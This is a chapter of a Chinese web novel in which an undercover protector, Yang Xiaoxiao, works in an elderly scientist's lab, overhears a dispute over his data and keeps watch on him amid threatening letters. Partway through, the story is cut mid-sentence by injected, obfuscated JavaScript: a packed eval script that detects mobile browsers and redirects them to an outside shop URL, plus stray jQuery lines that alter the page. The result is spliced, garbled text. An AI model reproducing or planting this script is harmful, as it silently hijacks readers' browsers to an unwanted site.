早上七点五十，杨晓晓准时出现在307实验室门口。
她手里提着两个袋子：一袋是陈树准备的“入职用品”——新笔记本、几支笔、一个计算器；另一袋是她自己买的，里面装着沈老喜欢的那种茉莉花茶，还有一包独立包装的小茶饼。
敲门前，她深吸一口气，调整了一下藏在耳朵里的微型接收器——这是雷昊特制的，外观像普通无线耳机，实际上能让她随时与指挥中心保持联络，同时不干扰她的自然听力。
“进来。”沈老的声音传来，比昨天更沙哑了些。
推开门，实验室里已经有人了。除了沈老，还有两个年轻人，一男一女，正围在实验台前讨论什么。见到杨晓晓，他们停下来，好奇地打量她。
“新来的助理，小杨。”沈老头也不抬地介绍，“这两个是我的学生，赵磊，刘静。以后你有什么不懂的，可以先问他们——当然，问我最好。”
赵磊是个戴眼镜的瘦高个，友好地笑了笑：“欢迎。沈老师这里终于有专职助理了，我们也能轻松点。”
刘静看起来更文静，只是点点头，继续低头记录数据。
“今天你的任务。”沈老指指墙角的一排玻璃器皿，“把所有烧杯、试管、培养皿洗干净，用蒸馏水冲三遍，烘干，分类放好。洗的时候注意看有没有裂纹——上次赵磊打碎了一个100毫升的量筒，扣了他半个月补助。”
赵磊尴尬地推了推眼镜。
杨晓晓点头：“好的。”
她走到水池边，戴上橡胶手套，开始清洗器皿。水流的哗啦声、玻璃碰撞的清脆声、烘干机的低鸣……这些声音交织在一起，形成实验室的背景音。而在这之下，杨晓晓分出一部分注意力，开始系统性地监听整个环境。
首先是实验室内部：沈老的呼吸平稳但略显急促，有心律不齐的迹象；赵磊在操作离心机时手指有细微颤抖，似乎紧张；刘静记录数据时笔尖划过纸张的速度很快，偶尔停顿，像是在思考。
然后是实验室外部：走廊里有脚步声，时远时近；楼下某间实验室传来仪器报警声，很快被关闭；更远处，研究院大门口保安在闲聊，内容是关于昨晚的足球赛。
一切听起来都很正常。
直到上午十点左右。
杨晓晓正在擦拭最后一个烧杯，耳朵忽然捕捉到走廊尽头楼梯间里的声音——压得很低的对话声，两个人。
“……数据肯定有问题，他那个重复实验的结果太完美了……”
“你确定？沈老可不是会造假的人。”
“我不是说他造假，我是说……可能有无意识的选择性记录。你知道的，人总是倾向于记住符合预期的数据……”
声音逐渐远去。杨晓晓记住了这两个声音的特征：一个音调较高，语速快；一个低沉，带着犹豫。
她继续手里的工作，但心里记下了这个信息：实验室里可能存在着数据争议。
中午，沈老从旧暖水瓶里倒出已经凉了的茉莉花茶，就着馒头当午餐。杨晓晓犹豫了一下，拿出自己带的小茶饼：“沈老师，我这有独立包装的，您要尝尝吗？”
沈老瞥了一眼，摇头：“喝惯了那种，别的没味。”他咬了口馒头，含糊地说，“你们年轻人就喜欢这些花里胡哨的。”
杨晓晓也不介意，自己泡了杯茶。茶叶在热水中舒展，发出极细微的嘶嘶声。她忽然想起什么，问：“沈老师，您做这行多少年了？”
沈老咀嚼的动作顿了顿：“从大学毕业算起……五十年零三个月。”他喝了口茶，“那时候条件比现在苦多了，仪器都是二手的，试剂得省着用。哪像现在……”他看了眼实验室里崭新的光谱仪，那是院里去年才配的。
“那您为什么一直坚持？”杨晓晓问。这问题一半是好奇，一半是任务需要——了解保护对象的动机和性格。
沈老沉默了几秒，指了指墙上贴着一张发黄的图纸：“看见那个了吗？”
杨晓晓看过去，那是一张手绘的晶体结构图，线条已经模糊，但标注依然清晰。
“那是我博士毕业时画的，我导师说这个结构不可能稳定存在。”沈老声音很平静，“我不信，做了三十年实验，失败了成百上千次。直到十年前，我第一次在电子显微镜下看到它——虽然只稳定了零点三秒。”
他转过头，眼镜片后的眼睛亮得惊人：“就为了那零点三秒，三十年都值。”
杨晓晓忽然觉得鼻子有点酸。她想起自己之前的人生——上班、下班、吐槽、盼周末，最大的烦恼是奶茶长胖和绿萝又死了。而眼前这位老人，用了半个世纪的时间，就为了捕捉某个物质存在零点三秒的证据。
“很傻吧？”沈老笑了，露出不太整齐的牙齿。
“不。”杨晓晓摇头，“很了不起。”
下午的实验出了点小意外。赵磊在配置溶液时算错了浓度，导致反应异常，产生了一小股刺鼻气体。沈老立刻指挥大家开通风橱，自己却第一个冲过去处理废液。
“沈老师，我来吧！”赵磊慌了。
“站远点，这气体有毒。”沈老的声音很严厉，但动作稳而快。他戴着简易防毒面具，手法熟练地中和溶液，处理废弃物。整个过程不到五分钟。
事后，沈老把赵磊叫到一边，没有大声斥责，而是拿出纸笔，重新讲解浓度计算公式。“科学容不得马虎，”他说，语气是罕见的温和，“你这次错的是数据，下次可能就是安全。”
赵磊低着头，肩膀微微颤抖。
杨晓晓在一旁清洗工具，听到了赵磊极轻的抽泣声，还有沈老拍他肩膀时布料摩擦的声音。
傍晚六点，该下班了。刘静和赵陆续离开，沈老却还坐在显微镜前。
“沈老师，您还不走吗？”杨晓晓问。
“还有个数据要复核，你们先走。”沈老摆摆手，“记得锁门。”
杨晓晓收拾好东西，走出实验室。但她没有离开研究院，而是按照陈树的指示，来到隔壁楼的一间临时监听室——这里已经布置好设备，能让她在不上班时间继续监控307实验室。
雷昊已经在里面了，面前是三块显示屏，分别显示着实验室不同角度的监控画面——都是隐蔽摄像头拍摄的。
“感觉如何？”雷昊递
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191497|197074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给她一瓶水。
“沈老人很好。”杨晓晓接过水，“但实验室里……可能有些内部问题。我听到有人在议论数据争议。”
雷昊点头：“我们也监听到了类似对话。是研究院另一个课题组的人，他们在竞争下个季度的经费。”他调出一份资料，“领头的是个叫孙志远的副教授，四十岁，海外留学回来，作风比较……激进。”
杨晓晓皱眉：“他会构成威胁吗？”
“目前看只是学术竞争，但我们会盯着。”雷昊敲击键盘，“你今晚的任务是监听沈老下班后的实验室环境。他已经连续三天工作到凌晨了。”
杨晓晓戴上专业耳机，将注意力集中到307实验室。
她听到了沈老平稳的呼吸声，仪器低鸣，还有笔尖在纸上书写的沙沙声。偶尔，沈老会自言自语：“这个峰值不对……温度再调高零点五度试试……”
晚上九点，沈老接了个电话。杨晓晓立刻调高灵敏度。
“……知道了，我会注意。”沈老的声音听起来很疲惫，“材料我会按时交，你放心。至于那些信……不用管，搞科研的谁没收到过几封威胁信？”
电话那头的人似乎很激动，声音透过听筒隐约传来：“……不能大意……已经报警……”
“报警有什么用？”沈老叹气，“他们又不能24小时守着我。行了，我要做实验了。”
电话挂断。
杨晓晓和雷昊对视一眼。
“是研究院院长打来的。”雷昊已经追踪了号码，“沈老没把威胁信的事告诉太多人，连院长都只是简单提过。”
凌晨一点，沈老终于离开实验室。杨晓晓听到锁门声，脚步声渐行渐远。她摘下耳机，揉了揉发胀的太阳穴。
“第一天，感觉怎么样？”陈树的声音从通讯器传来——他一直在远程监听。
“沈老比想象中更……执着。”杨晓晓说，“我有点明白为什么要保护他了。”
“嗯。”陈树顿了顿，“明天继续。另外，熊毅那边已经完成住所安全检查，林墨在研究院外围布控完毕。你现在是沈老最近的一道防线，记住你的职责。”
“明白。”
走出监听室，夜空中有稀疏的星星。杨晓晓抬头看了一眼，忽然想起沈老说的“为了零点三秒，三十年都值”。
她拿出手机，给陈树发了条消息：“陈总监，我一定会保护好他。”
几秒后，回复来了：“早点休息，明天任务继续。”
杨晓晓收起手机，朝宿舍走去。夜风吹过，带着初夏的微凉。她想起白天沈老冲过去处理危险气体时的背影，想起他拍赵磊肩膀时粗糙的手，想起他说“科学容不得马虎”时的严肃表情。
这位老人用半个世纪的时间，追逐着某个物质存在零点三秒的证据。
而她现在的任务，是确保他能继续追逐下去。
“问题不大。”她轻声对自己说，脚步变得坚定。
实验室里的暗流，学术上的争议，潜在的威胁——这些她都会一一监听，一一分辨，一一应对。
因为有些人，值得被保护。